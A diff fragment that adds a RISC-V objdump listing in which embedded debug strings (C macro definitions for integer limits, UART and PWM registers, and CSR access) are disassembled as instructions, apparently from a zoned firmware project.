+    8540:	2058                	fld	fa4,128(s0)
+    8542:	5f5f 4e49 3854      	0x38544e495f5f
+    8548:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    854e:	5f00                	lw	s0,56(a4)
+    8550:	685f 7661 5f65      	0x5f657661685f
+    8556:	6f6c                	flw	fa1,92(a4)
+    8558:	676e                	flw	fa4,216(sp)
+    855a:	31203233          	0x31203233
+    855e:	5300                	lw	s0,32(a4)
+    8560:	495f 4353 5248      	0x52484353495f
+    8566:	6d28                	flw	fa0,88(a0)
+    8568:	2029                	jal	8572 <__stack_size+0x7d72>
+    856a:	2828                	fld	fa0,80(s0)
+    856c:	6d28                	flw	fa0,88(a0)
+    856e:	2629                	jal	8878 <__stack_size+0x8078>
+    8570:	495f 4d46 2954      	0x29544d46495f
+    8576:	3d20                	fld	fs0,120(a0)
+    8578:	203d                	jal	85a6 <__stack_size+0x7da6>
+    857a:	495f 4346 5248      	0x52484346495f
+    8580:	0029                	c.nop	10
+    8582:	4f49                	li	t5,18
+    8584:	5f56                	lw	t5,116(sp)
+    8586:	414d                	li	sp,19
+    8588:	2058                	fld	fa4,128(s0)
+    858a:	3031                	jal	7d96 <__stack_size+0x7596>
+    858c:	3432                	fld	fs0,296(sp)
+    858e:	7400                	flw	fs0,40(s0)
+    8590:	6172                	flw	ft2,28(sp)
+    8592:	5f70                	lw	a2,124(a4)
+    8594:	6168                	flw	fa0,68(a0)
+    8596:	646e                	flw	fs0,216(sp)
+    8598:	656c                	flw	fa1,76(a0)
+    859a:	0072                	c.slli	zero,0x1c
+    859c:	5f5f 4955 544e      	0x544e49555f5f
+    85a2:	5f38                	lw	a4,120(a4)
+    85a4:	414d                	li	sp,19
+    85a6:	5f58                	lw	a4,60(a4)
+    85a8:	205f 7830 6666      	0x66667830205f
+    85ae:	2f00                	fld	fs0,24(a4)
+    85b0:	6f68                	flw	fa0,92(a4)
+    85b2:	656d                	lui	a0,0x1b
+    85b4:	7369722f          	0x7369722f
+    85b8:	742f7663          	bgeu	t5,sp,8d04 <__stack_size+0x8504>
+    85bc:	736c6f6f          	jal	t5,cecf2 <__stack_size+0xce4f2>
+    85c0:	696e752f          	0x696e752f
+    85c4:	7270                	flw	fa2,100(a2)
+    85c6:	6b656a6f          	jal	s4,5ec7c <__stack_size+0x5e47c>
+    85ca:	2f74                	fld	fa3,216(a4)
+    85cc:	7241                	lui	tp,0xffff0
+    85ce:	7974                	flw	fa3,116(a0)
+    85d0:	6d49                	lui	s10,0x12
+    85d2:	6c70                	flw	fa2,92(s0)
+    85d4:	6d65                	lui	s10,0x19
+    85d6:	6e65                	lui	t3,0x19
+    85d8:	6174                	flw	fa3,68(a0)
+    85da:	6974                	flw	fa3,84(a0)
+    85dc:	7a2f6e6f          	jal	t3,fed7e <__stack_size+0xfe57e>
+    85e0:	32656e6f          	jal	t3,5e906 <__stack_size+0x5e106>
+    85e4:	5f00                	lw	s0,56(a4)
+    85e6:	535f 424d 2046      	0x2046424d535f
+    85ec:	7830                	flw	fa2,112(s0)
+    85ee:	3030                	fld	fa2,96(s0)
+    85f0:	3038                	fld	fa4,96(s0)
+    85f2:	5f00                	lw	s0,56(a4)
+    85f4:	4649                	li	a2,18
+    85f6:	544d                	li	s0,-13
+    85f8:	3020                	fld	fs0,96(s0)
+    85fa:	3731                	jal	8506 <__stack_size+0x7d06>
+    85fc:	3030                	fld	fa2,96(s0)
+    85fe:	3030                	fld	fa2,96(s0)
+    8600:	5f00                	lw	s0,56(a4)
+    8602:	465f 544c 3233      	0x3233544c465f
+    8608:	5f58                	lw	a4,60(a4)
+    860a:	4f4e                	lw	t5,208(sp)
+    860c:	4d52                	lw	s10,20(sp)
+    860e:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    8614:	3120                	fld	fs0,96(a0)
+    8616:	372e                	fld	fa4,232(sp)
+    8618:	3739                	jal	8526 <__stack_size+0x7d26>
+    861a:	3936                	fld	fs2,360(sp)
+    861c:	34333133          	0x34333133
+    8620:	3638                	fld	fa4,104(a2)
+    8622:	3332                	fld	ft6,296(sp)
+    8624:	3531                	jal	8430 <__stack_size+0x7c30>
+    8626:	31383037          	lui	zero,0x31383
+    862a:	3534                	fld	fa3,104(a0)
+    862c:	3732                	fld	fa4,296(sp)
+    862e:	3234                	fld	fa3,96(a2)
+    8630:	31333733          	0x31333733
+    8634:	33343037          	lui	zero,0x33343
+    8638:	3735                	jal	8564 <__stack_size+0x7d64>
+    863a:	2b65                	jal	8bf2 <__stack_size+0x83f2>
+    863c:	46383033          	0x46383033
+    8640:	00783233          	sltu	tp,a6,t2
+    8644:	535f 5f43 4853      	0x48535f43535f
+    864a:	4c45                	li	s8,17
+    864c:	204c                	fld	fa1,128(s0)
+    864e:	50003437          	lui	s0,0x50003
+    8652:	4854                	lw	a3,20(s0)
+    8654:	4552                	lw	a0,20(sp)
+    8656:	4441                	li	s0,16
+    8658:	435f 4552 5441      	0x54414552435f
+    865e:	5f45                	li	t5,-15
+    8660:	4f4a                	lw	t5,144(sp)
+    8662:	4e49                	li	t3,18
+    8664:	4241                	li	tp,16
+    8666:	454c                	lw	a1,12(a0)
+    8668:	3120                	fld	fs0,96(a0)
+    866a:	5000                	lw	s0,32(s0)
+    866c:	494c                	lw	a1,20(a0)
+    866e:	52505f43          	fmadd.d	ft10,ft0,ft5,fa0,unknown
+    8672:	5f49                	li	t5,-14
+    8674:	5346464f          	fnmadd.d	fa2,fa2,fs4,fa0,rmm
+    8678:	5445                	li	s0,-15
+    867a:	3020                	fld	fs0,96(s0)
+    867c:	4900                	lw	s0,16(a0)
+    867e:	544e                	lw	s0,240(sp)
+    8680:	5450                	lw	a2,44(s0)
+    8682:	5f52                	lw	t5,52(sp)
+    8684:	414d                	li	sp,19
+    8686:	2058                	fld	fa4,128(s0)
+    8688:	5f5f 4e49 5054      	0x50544e495f5f
+    868e:	5254                	lw	a3,36(a2)
+    8690:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    8696:	4600                	lw	s0,8(a2)
+    8698:	414d                	li	sp,19
+    869a:	4b52                	lw	s6,20(sp)
+    869c:	5f20                	lw	s0,120(a4)
+    869e:	4d46                	lw	s10,80(sp)
+    86a0:	5241                	li	tp,-16
+    86a2:	4e46004b          	fnmsub.q	ft0,fa2,ft4,fs1,rne
+    86a6:	49424e4f          	fnmadd.s	ft8,ft4,fs4,fs1,rmm
+    86aa:	465f204f          	fnmadd.q	ft0,ft10,ft5,fs0,rdn
+    86ae:	4f4e                	lw	t5,208(sp)
+    86b0:	424e                	lw	tp,208(sp)
+    86b2:	4f4c                	lw	a1,28(a4)
+    86b4:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
+    86b8:	535f4353          	0x535f4353
+    86bc:	4e59                	li	t3,22
+    86be:	4f524843          	fmadd.q	fa6,ft4,fs5,fs1,rmm
+    86c2:	494e                	lw	s2,208(sp)
+    86c4:	455a                	lw	a0,148(sp)
+    86c6:	5f44                	lw	s1,60(a4)
+    86c8:	4f49                	li	t5,18
+    86ca:	3320                	fld	fs0,96(a4)
+    86cc:	0032                	c.slli	zero,0xc
+    86ce:	5f5f 4542 4947      	0x494745425f5f
+    86d4:	5f4e                	lw	t5,240(sp)
+    86d6:	4544                	lw	s1,12(a0)
+    86d8:	20534c43          	fmadd.s	fs8,ft6,ft5,ft4,rmm
+    86dc:	4300                	lw	s0,0(a4)
+    86de:	28435253          	0x28435253
+    86e2:	2c727363          	bgeu	tp,t2,89a8 <__stack_size+0x81a8>
+    86e6:	7372                	flw	ft6,60(sp)
+    86e8:	2029                	jal	86f2 <__stack_size+0x7ef2>
+    86ea:	7b28                	flw	fa0,112(a4)
+    86ec:	7520                	flw	fs0,104(a0)
+    86ee:	736e                	flw	ft6,248(sp)
+    86f0:	6769                	lui	a4,0x1a
+    86f2:	656e                	flw	fa0,216(sp)
+    86f4:	2064                	fld	fs1,192(s0)
+    86f6:	6f6c                	flw	fa1,92(a4)
+    86f8:	676e                	flw	fa4,216(sp)
+    86fa:	7220                	flw	fs0,96(a2)
+    86fc:	3b64                	fld	fs1,240(a4)
+    86fe:	6920                	flw	fs0,80(a0)
+    8700:	2066                	fld	ft0,88(sp)
+    8702:	5f28                	lw	a0,120(a4)
+    8704:	625f 6975 746c      	0x746c6975625f
+    870a:	6e69                	lui	t3,0x1a
+    870c:	635f 6e6f 7473      	0x74736e6f635f
+    8712:	6e61                	lui	t3,0x18
+    8714:	5f74                	lw	a3,124(a4)
+    8716:	2870                	fld	fa2,208(s0)
+    8718:	7372                	flw	ft6,60(sp)
+    871a:	2029                	jal	8724 <__stack_size+0x7f24>
+    871c:	2626                	fld	fa2,72(sp)
+    871e:	2820                	fld	fs0,80(s0)
+    8720:	6e75                	lui	t3,0x1d
+    8722:	6e676973          	csrrsi	s2,0x6e6,14
+    8726:	6465                	lui	s0,0x19
+    8728:	6c20                	flw	fs0,88(s0)
+    872a:	29676e6f          	jal	t3,7e9c0 <__stack_size+0x7e1c0>
+    872e:	7228                	flw	fa0,96(a2)
+    8730:	3c202973          	csrr	s2,0x3c2
+    8734:	3320                	fld	fs0,96(a4)
+    8736:	2932                	fld	fs2,264(sp)
+    8738:	6120                	flw	fs0,64(a0)
+    873a:	76206d73          	csrrsi	s10,0x762,0
+    873e:	74616c6f          	jal	s8,1ee84 <__stack_size+0x1e684>
+    8742:	6c69                	lui	s8,0x1a
+    8744:	2065                	jal	87ec <__stack_size+0x7fec>
+    8746:	2228                	fld	fa0,64(a2)
+    8748:	72727363          	bgeu	tp,t2,8e6e <__stack_size+0x866e>
+    874c:	25206963          	bltu	zero,s2,899e <__stack_size+0x819e>
+    8750:	2c30                	fld	fa2,88(s0)
+    8752:	2220                	fld	fs0,64(a2)
+    8754:	2320                	fld	fs0,64(a4)
+    8756:	20727363          	bgeu	tp,t2,895c <__stack_size+0x815c>
+    875a:	2c22                	fld	fs8,8(sp)
+    875c:	2520                	fld	fs0,72(a0)
+    875e:	2231                	jal	886a <__stack_size+0x806a>
+    8760:	3a20                	fld	fs0,112(a2)
+    8762:	2220                	fld	fs0,64(a2)
+    8764:	723d                	lui	tp,0xfffef
+    8766:	2822                	fld	fa6,8(sp)
+    8768:	6472                	flw	fs0,28(sp)
+    876a:	2029                	jal	8774 <__stack_size+0x7f74>
+    876c:	203a                	fld	ft0,392(sp)
+    876e:	4b22                	lw	s6,8(sp)
+    8770:	2822                	fld	fa6,8(sp)
+    8772:	7372                	flw	ft6,60(sp)
+    8774:	2929                	jal	8b8e <__stack_size+0x838e>
+    8776:	6c65203b          	0x6c65203b
+    877a:	61206573          	csrrsi	a0,0x612,0
+    877e:	76206d73          	csrrsi	s10,0x762,0
+    8782:	74616c6f          	jal	s8,1eec8 <__stack_size+0x1e6c8>
+    8786:	6c69                	lui	s8,0x1a
+    8788:	2065                	jal	8830 <__stack_size+0x8030>
+    878a:	2228                	fld	fa0,64(a2)
+    878c:	72727363          	bgeu	tp,t2,8eb2 <__stack_size+0x86b2>
+    8790:	30252063          	0x30252063
+    8794:	202c                	fld	fa1,64(s0)
+    8796:	2022                	fld	ft0,8(sp)
+    8798:	72736323          	0x72736323
+    879c:	2220                	fld	fs0,64(a2)
+    879e:	202c                	fld	fa1,64(s0)
+    87a0:	3125                	jal	83c8 <__stack_size+0x7bc8>
+    87a2:	2022                	fld	ft0,8(sp)
+    87a4:	203a                	fld	ft0,392(sp)
+    87a6:	3d22                	fld	fs10,40(sp)
+    87a8:	2272                	fld	ft4,280(sp)
+    87aa:	7228                	flw	fa0,96(a2)
+    87ac:	2964                	fld	fs1,208(a0)
+    87ae:	3a20                	fld	fs0,112(a2)
+    87b0:	2220                	fld	fs0,64(a2)
+    87b2:	2272                	fld	ft4,280(sp)
+    87b4:	7228                	flw	fa0,96(a2)
+    87b6:	3b292973          	csrrs	s2,pmpaddr2,s2
+    87ba:	7220                	flw	fs0,96(a2)
+    87bc:	3b64                	fld	fs1,240(a4)
+    87be:	7d20                	flw	fs0,120(a0)
+    87c0:	0029                	c.nop	10
+    87c2:	4155                	li	sp,21
+    87c4:	5452                	lw	s0,52(sp)
+    87c6:	425f 5341 2045      	0x20455341425f
+    87cc:	7830                	flw	fa2,112(s0)
+    87ce:	3031                	jal	7fda <__stack_size+0x77da>
+    87d0:	3130                	fld	fa2,96(a0)
+    87d2:	30303033          	0x30303033
+    87d6:	5f00                	lw	s0,56(a4)
+    87d8:	4552                	lw	a0,20(sp)
+    87da:	4e45                	li	t3,17
+    87dc:	5f54                	lw	a3,60(a4)
+    87de:	4c414d53          	0x4c414d53
+    87e2:	5f4c                	lw	a1,60(a4)
+    87e4:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
+    87e8:	4e495f4b          	fnmsub.q	ft10,fs2,ft4,fs1,unknown
+    87ec:	5449                	li	s0,-14
+    87ee:	7028                	flw	fa0,96(s0)
+    87f0:	7274                	flw	fa3,100(a2)
+    87f2:	2029                	jal	87fc <__stack_size+0x7ffc>
+    87f4:	5500                	lw	s0,40(a0)
+    87f6:	4c4c                	lw	a1,28(s0)
+    87f8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    87fc:	414d                	li	sp,19
+    87fe:	2058                	fld	fa4,128(s0)
+    8800:	4c28                	lw	a0,88(s0)
+    8802:	4f4c                	lw	a1,28(a4)
+    8804:	474e                	lw	a4,208(sp)
+    8806:	4d5f 5841 2a20      	0x2a2058414d5f
+    880c:	3220                	fld	fs0,96(a2)
+    880e:	4c55                	li	s8,21
+    8810:	204c                	fld	fa1,128(s0)
+    8812:	5531202b          	0x5531202b
+    8816:	4c4c                	lw	a1,28(s0)
+    8818:	0029                	c.nop	10
+    881a:	4955                	li	s2,21
+    881c:	544e                	lw	s0,240(sp)
+    881e:	465f 5341 3154      	0x31545341465f
+    8824:	5f36                	lw	t5,108(sp)
+    8826:	414d                	li	sp,19
+    8828:	0058                	addi	a4,sp,4
+    882a:	5f5f 4c46 3654      	0x36544c465f5f
+    8830:	5f34                	lw	a3,120(a4)
+    8832:	4544                	lw	s1,12(a0)
+    8834:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
+    8838:	5f4c                	lw	a1,60(a4)
+    883a:	4944                	lw	s1,20(a0)
+    883c:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    8840:	3731                	jal	874c <__stack_size+0x7f4c>
+    8842:	5f00                	lw	s0,56(a4)
+    8844:	555f 4e49 5054      	0x50544e49555f
+    884a:	5254                	lw	a3,36(a2)
+    884c:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    8852:	3020                	fld	fs0,96(s0)
+    8854:	6678                	flw	fa4,76(a2)
+    8856:	6666                	flw	fa2,88(sp)
+    8858:	6666                	flw	fa2,88(sp)
+    885a:	6666                	flw	fa2,88(sp)
+    885c:	5566                	lw	a0,120(sp)
+    885e:	6d00                	flw	fs0,24(a0)
+    8860:	6f7a                	flw	ft10,156(sp)
+    8862:	656e                	flw	fa0,216(sp)
+    8864:	2220                	fld	fs0,64(a2)
+    8866:	772e                	flw	fa4,232(sp)
+    8868:	2064726f          	jal	tp,4fa6e <__stack_size+0x4f26e>
+    886c:	7830                	flw	fa2,112(s0)
+    886e:	3030                	fld	fa2,96(s0)
+    8870:	30303033          	0x30303033
+    8874:	223b3337          	lui	t1,0x223b3
+    8878:	4600                	lw	s0,8(a2)
+    887a:	525f 4c44 4b43      	0x4b434c44525f
+    8880:	3120                	fld	fs0,96(a0)
+    8882:	5f00                	lw	s0,56(a4)
+    8884:	535f4353          	0x535f4353
+    8888:	4148                	lw	a0,4(a0)
+    888a:	4552                	lw	a0,20(sp)
+    888c:	5f44                	lw	s1,60(a4)
+    888e:	454d                	li	a0,19
+    8890:	4f4d                	li	t5,19
+    8892:	5952                	lw	s2,52(sp)
+    8894:	4f5f 4a42 4345      	0x43454a424f5f
+    889a:	5354                	lw	a3,36(a4)
+    889c:	3320                	fld	fs0,96(a4)
+    889e:	0031                	c.nop	12
+    88a0:	5f5f 4c46 3354      	0x33544c465f5f
+    88a6:	5f32                	lw	t5,44(sp)
+    88a8:	5045                	c.li	zero,-15
+    88aa:	4f4c4953          	0x4f4c4953
+    88ae:	5f4e                	lw	t5,240(sp)
+    88b0:	205f 2e31 3931      	0x39312e31205f
+    88b6:	3032                	fld	ft0,296(sp)
+    88b8:	3239                	jal	81c6 <__stack_size+0x79c6>
+    88ba:	3938                	fld	fa4,112(a0)
+    88bc:	3535                	jal	86e8 <__stack_size+0x7ee8>
+    88be:	3730                	fld	fa2,104(a4)
+    88c0:	3138                	fld	fa4,96(a0)
+    88c2:	3532                	fld	fa0,296(sp)
+    88c4:	3030                	fld	fa2,96(s0)
+    88c6:	3030                	fld	fa2,96(s0)
+    88c8:	3030                	fld	fa2,96(s0)
+    88ca:	3030                	fld	fa2,96(s0)
+    88cc:	3030                	fld	fa2,96(s0)
+    88ce:	3030                	fld	fa2,96(s0)
+    88d0:	3030                	fld	fa2,96(s0)
+    88d2:	3030                	fld	fa2,96(s0)
+    88d4:	3030                	fld	fa2,96(s0)
+    88d6:	6530                	flw	fa2,72(a0)
+    88d8:	372d                	jal	8802 <__stack_size+0x8002>
+    88da:	3346                	fld	ft6,112(sp)
+    88dc:	0032                	c.slli	zero,0xc
+    88de:	4950                	lw	a2,20(a0)
+    88e0:	4550                	lw	a2,12(a0)
+    88e2:	425f 4655 3520      	0x35204655425f
+    88e8:	3231                	jal	81f4 <__stack_size+0x79f4>
+    88ea:	5f00                	lw	s0,56(a4)
+    88ec:	415f 4f54 494d      	0x494d4f54415f
+    88f2:	4f435f43          	fmadd.q	ft10,ft6,fs4,fs1,unknown
+    88f6:	534e                	lw	t1,240(sp)
+    88f8:	4d55                	li	s10,21
+    88fa:	2045                	jal	899a <__stack_size+0x819a>
+    88fc:	0031                	c.nop	12
+    88fe:	5f5f 6e75 7375      	0x73756e755f5f
+    8904:	6465                	lui	s0,0x19
+    8906:	5f20                	lw	s0,120(a4)
+    8908:	615f 7474 6972      	0x69727474615f
+    890e:	7562                	flw	fa0,56(sp)
+    8910:	6574                	flw	fa3,76(a0)
+    8912:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    8918:	6e75                	lui	t3,0x1d
+    891a:	7375                	lui	t1,0xffffd
+    891c:	6465                	lui	s0,0x19
+    891e:	5f5f 2929 5f00      	0x5f0029295f5f
+    8924:	495f 544e 4c5f      	0x4c5f544e495f
+    892a:	4145                	li	sp,17
+    892c:	36315453          	0x36315453
+    8930:	545f 5059 5f45      	0x5f455059545f
+    8936:	205f 6873 726f      	0x726f6873205f
+    893c:	2074                	fld	fa3,192(s0)
+    893e:	6e69                	lui	t3,0x1a
+    8940:	0074                	addi	a3,sp,12
+    8942:	5f5f 4955 544e      	0x544e49555f5f
+    8948:	4c5f 4145 5453      	0x545341454c5f
+    894e:	3436                	fld	fs0,360(sp)
+    8950:	545f 5059 5f45      	0x5f455059545f
+    8956:	205f 6f6c 676e      	0x676e6f6c205f
+    895c:	6c20                	flw	fs0,88(s0)
+    895e:	20676e6f          	jal	t3,7eb64 <__stack_size+0x7e364>
+    8962:	6e75                	lui	t3,0x1d
+    8964:	6e676973          	csrrsi	s2,0x6e6,14
+    8968:	6465                	lui	s0,0x19
+    896a:	6920                	flw	fs0,80(a0)
+    896c:	746e                	flw	fs0,248(sp)
+    896e:	5f00                	lw	s0,56(a4)
+    8970:	6c5f 636f 736b      	0x736b636f6c5f
+    8976:	655f 6378 756c      	0x756c6378655f
+    897c:	65766973          	csrrsi	s2,0x657,12
+    8980:	2e28                	fld	fa0,88(a2)
+    8982:	2e2e                	fld	ft8,200(sp)
+    8984:	2029                	jal	898e <__stack_size+0x818e>
+    8986:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    898c:	615f 6e6e 746f      	0x746f6e6e615f
+    8992:	7461                	lui	s0,0xffff8
+    8994:	2865                	jal	8a4c <__stack_size+0x824c>
+    8996:	7865                	lui	a6,0xffff9
+    8998:	73756c63          	bltu	a0,s7,90d0 <__stack_size+0x88d0>
+    899c:	7669                	lui	a2,0xffffa
+    899e:	5f65                	li	t5,-7
+    89a0:	6f6c                	flw	fa1,92(a4)
+    89a2:	665f6b63          	bltu	t5,t0,9018 <__stack_size+0x8818>
+    89a6:	6e75                	lui	t3,0x1d
+    89a8:	6f697463          	bgeu	s2,s6,9090 <__stack_size+0x8890>
+    89ac:	286e                	fld	fa6,216(sp)
+    89ae:	5f5f 4156 415f      	0x415f41565f5f
+    89b4:	4752                	lw	a4,20(sp)
+    89b6:	295f5f53          	0x295f5f53
+    89ba:	0029                	c.nop	10
+    89bc:	535f 5f43 4553      	0x45535f43535f
+    89c2:	5f4d                	li	t5,-13
+    89c4:	534e                	lw	t1,240(sp)
+    89c6:	4d45                	li	s10,17
+    89c8:	414d5f53          	0x414d5f53
+    89cc:	2058                	fld	fa4,128(s0)
+    89ce:	3631                	jal	84da <__stack_size+0x7cda>
+    89d0:	4900                	lw	s0,16(a0)
+    89d2:	544e                	lw	s0,240(sp)
+    89d4:	4d5f3233          	0x4d5f3233
+    89d8:	5841                	li	a6,-16
+    89da:	5f20                	lw	s0,120(a4)
+    89dc:	495f 544e 3233      	0x3233544e495f
+    89e2:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    89e8:	5f00                	lw	s0,56(a4)
+    89ea:	545f4353          	0x545f4353
+    89ee:	4152                	lw	sp,20(sp)
+    89f0:	535f4543          	fmadd.d	fa0,ft10,fs5,fa0,rmm
+    89f4:	5359                	li	t1,-10
+    89f6:	4d5f 5841 3820      	0x382058414d5f
+    89fc:	0039                	c.nop	14
+    89fe:	505f 5f43 5953      	0x59535f43505f
+    8a04:	434e                	lw	t1,208(sp)
+    8a06:	495f 204f 3131      	0x3131204f495f
+    8a0c:	5f00                	lw	s0,56(a4)
+    8a0e:	625f 7773 7061      	0x70617773625f
+    8a14:	3436                	fld	fs0,360(sp)
+    8a16:	5f28                	lw	a0,120(a4)
+    8a18:	2978                	fld	fa4,208(a0)
+    8a1a:	5f20                	lw	s0,120(a4)
+    8a1c:	625f 6975 746c      	0x746c6975625f
+    8a22:	6e69                	lui	t3,0x1a
+    8a24:	625f 7773 7061      	0x70617773625f
+    8a2a:	3436                	fld	fs0,360(sp)
+    8a2c:	5f28                	lw	a0,120(a4)
+    8a2e:	2978                	fld	fa4,208(a0)
+    8a30:	5f00                	lw	s0,56(a4)
+    8a32:	4350                	lw	a2,4(a4)
+    8a34:	525f 4345 495f      	0x495f4345525f
+    8a3a:	434e                	lw	t1,208(sp)
+    8a3c:	5f52                	lw	t5,52(sp)
+    8a3e:	4658                	lw	a4,12(a2)
+    8a40:	5245                	li	tp,-15
+    8a42:	535f 5a49 2045      	0x20455a49535f
+    8a48:	3631                	jal	8554 <__stack_size+0x7d54>
+    8a4a:	5f00                	lw	s0,56(a4)
+    8a4c:	4e46                	lw	t3,80(sp)
+    8a4e:	4544                	lw	s1,12(a0)
+    8a50:	414c                	lw	a1,4(a0)
+    8a52:	2059                	jal	8ad8 <__stack_size+0x82d8>
+    8a54:	465f 4f4e 424e      	0x424e4f4e465f
+    8a5a:	4f4c                	lw	a1,28(a4)
+    8a5c:	5f004b43          	fmadd.q	fs6,ft0,fa6,fa1,rmm
+    8a60:	475f 4343 415f      	0x415f4343475f
+    8a66:	4f54                	lw	a3,28(a4)
+    8a68:	494d                	li	s2,19
+    8a6a:	43575f43          	fmadd.d	ft10,fa4,fs5,fs0,unknown
+    8a6e:	4148                	lw	a0,4(a0)
+    8a70:	5f52                	lw	t5,52(sp)
+    8a72:	5f54                	lw	a3,60(a4)
+    8a74:	4f4c                	lw	a1,28(a4)
+    8a76:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
+    8a7a:	4552                	lw	a0,20(sp)
+    8a7c:	2045                	jal	8b1c <__stack_size+0x831c>
+    8a7e:	0032                	c.slli	zero,0xc
+    8a80:	5f5f 6974 656d      	0x656d69745f5f
+    8a86:	5f72                	lw	t5,60(sp)
+    8a88:	5f74                	lw	a3,124(a4)
+    8a8a:	6564                	flw	fs1,76(a0)
+    8a8c:	6966                	flw	fs2,88(sp)
+    8a8e:	656e                	flw	fa0,216(sp)
+    8a90:	2064                	fld	fs1,192(s0)
+    8a92:	5f00                	lw	s0,56(a4)
+    8a94:	535f 5a49 4f45      	0x4f455a49535f
+    8a9a:	5f46                	lw	t5,112(sp)
+    8a9c:	5450                	lw	a2,44(s0)
+    8a9e:	4452                	lw	s0,20(sp)
+    8aa0:	4649                	li	a2,18
+    8aa2:	5f46                	lw	t5,112(sp)
+    8aa4:	5f54                	lw	a3,60(a4)
+    8aa6:	205f 0034 5750      	0x57500034205f
+    8aac:	5f4d                	li	t5,-13
+    8aae:	4552                	lw	a0,20(sp)
+    8ab0:	666f2847          	fmsub.q	fa6,ft10,ft6,fa2,rdn
+    8ab4:	7366                	flw	ft6,120(sp)
+    8ab6:	7465                	lui	s0,0xffff9
+    8ab8:	2029                	jal	8ac2 <__stack_size+0x82c2>
+    8aba:	525f 4745 3233      	0x32334745525f
+    8ac0:	5028                	lw	a0,96(s0)
+    8ac2:	425f4d57          	0x425f4d57
+    8ac6:	5341                	li	t1,-16
+    8ac8:	2c45                	jal	8d78 <__stack_size+0x8578>
+    8aca:	6f20                	flw	fs0,88(a4)
+    8acc:	6666                	flw	fa2,88(sp)
+    8ace:	29746573          	csrrsi	a0,0x297,8
+    8ad2:	5300                	lw	s0,32(a4)
+    8ad4:	495f 4f58 4854      	0x48544f58495f
+    8ada:	3020                	fld	fs0,96(s0)
+    8adc:	3030                	fld	fa2,96(s0)
+    8ade:	3030                	fld	fa2,96(s0)
+    8ae0:	3130                	fld	fa2,96(a0)
+    8ae2:	4400                	lw	s0,8(s0)
+    8ae4:	4645                	li	a2,17
+    8ae6:	4946                	lw	s2,80(sp)
+    8ae8:	454c                	lw	a1,12(a0)
+    8aea:	4f4d                	li	t5,19
+    8aec:	4544                	lw	s1,12(a0)
+    8aee:	2820                	fld	fs0,80(s0)
+    8af0:	52495f53          	0x52495f53
+    8af4:	5355                	li	t1,-11
+    8af6:	2052                	fld	ft0,272(sp)
+    8af8:	207c                	fld	fa5,192(s0)
+    8afa:	57495f53          	0x57495f53
+    8afe:	5355                	li	t1,-11
+    8b00:	2052                	fld	ft0,272(sp)
+    8b02:	207c                	fld	fa5,192(s0)
+    8b04:	52495f53          	0x52495f53
+    8b08:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
+    8b0c:	207c                	fld	fa5,192(s0)
+    8b0e:	57495f53          	0x57495f53
+    8b12:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
+    8b16:	207c                	fld	fa5,192(s0)
+    8b18:	52495f53          	0x52495f53
+    8b1c:	2048544f          	fnmadd.s	fs0,fa6,ft4,ft4,unknown
+    8b20:	207c                	fld	fa5,192(s0)
+    8b22:	57495f53          	0x57495f53
+    8b26:	2948544f          	fnmadd.s	fs0,fa6,fs4,ft5,unknown
+    8b2a:	5f00                	lw	s0,56(a4)
+    8b2c:	465f 544c 3233      	0x3233544c465f
+    8b32:	5f58                	lw	a4,60(a4)
+    8b34:	494d                	li	s2,19
+    8b36:	5f4e                	lw	t5,240(sp)
+    8b38:	205f 2e32 3232      	0x32322e32205f
+    8b3e:	3035                	jal	836a <__stack_size+0x7b6a>
+    8b40:	35383337          	lui	t1,0x35383
+    8b44:	3538                	fld	fa4,104(a0)
+    8b46:	3730                	fld	fa2,104(a4)
+    8b48:	3032                	fld	ft0,296(sp)
+    8b4a:	3331                	jal	8856 <__stack_size+0x8056>
+    8b4c:	3338                	fld	fa4,96(a4)
+    8b4e:	3930                	fld	fa2,112(a0)
+    8b50:	3230                	fld	fa2,96(a2)
+    8b52:	31373233          	0x31373233
+    8b56:	32333337          	lui	t1,0x32333
+    8b5a:	3034                	fld	fa3,96(s0)
+    8b5c:	3034                	fld	fa3,96(s0)
+    8b5e:	6536                	flw	fa0,76(sp)
+    8b60:	332d                	jal	888a <__stack_size+0x808a>
+    8b62:	3830                	fld	fa2,112(s0)
+    8b64:	3346                	fld	ft6,112(sp)
+    8b66:	7832                	flw	fa6,44(sp)
+    8b68:	7300                	flw	fs0,32(a4)
+    8b6a:	6e65                	lui	t3,0x19
+    8b6c:	5a64                	lw	s1,116(a2)
+    8b6e:	4d656e6f          	jal	t3,5f044 <__stack_size+0x5e844>
+    8b72:	7365                	lui	t1,0xffff9
+    8b74:	65676173          	csrrsi	sp,0x656,14
+    8b78:	5f00                	lw	s0,56(a4)
+    8b7a:	4955                	li	s2,21
+    8b7c:	544e                	lw	s0,240(sp)
+    8b7e:	545f3233          	0x545f3233
+    8b82:	445f 4345 414c      	0x414c4345445f
+    8b88:	4552                	lw	a0,20(sp)
+    8b8a:	2044                	fld	fs1,128(s0)
+    8b8c:	5f00                	lw	s0,56(a4)
+    8b8e:	6c66                	flw	fs8,88(sp)
+    8b90:	666b636f          	jal	t1,bf1f6 <__stack_size+0xbe9f6>
+    8b94:	6c69                	lui	s8,0x1a
+    8b96:	2865                	jal	8c4e <__stack_size+0x844e>
+    8b98:	7066                	flw	ft0,120(sp)
+    8b9a:	2029                	jal	8ba4 <__stack_size+0x83a4>
+    8b9c:	2828                	fld	fa0,80(s0)
+    8b9e:	6628                	flw	fa0,72(a2)
+    8ba0:	2970                	fld	fa2,208(a0)
+    8ba2:	3e2d                	jal	86dc <__stack_size+0x7edc>
+    8ba4:	665f 616c 7367      	0x7367616c665f
+    8baa:	2620                	fld	fs0,72(a2)
+    8bac:	5f20                	lw	s0,120(a4)
+    8bae:	535f 5453 2952      	0x29525453535f
+    8bb4:	3f20                	fld	fs0,120(a4)
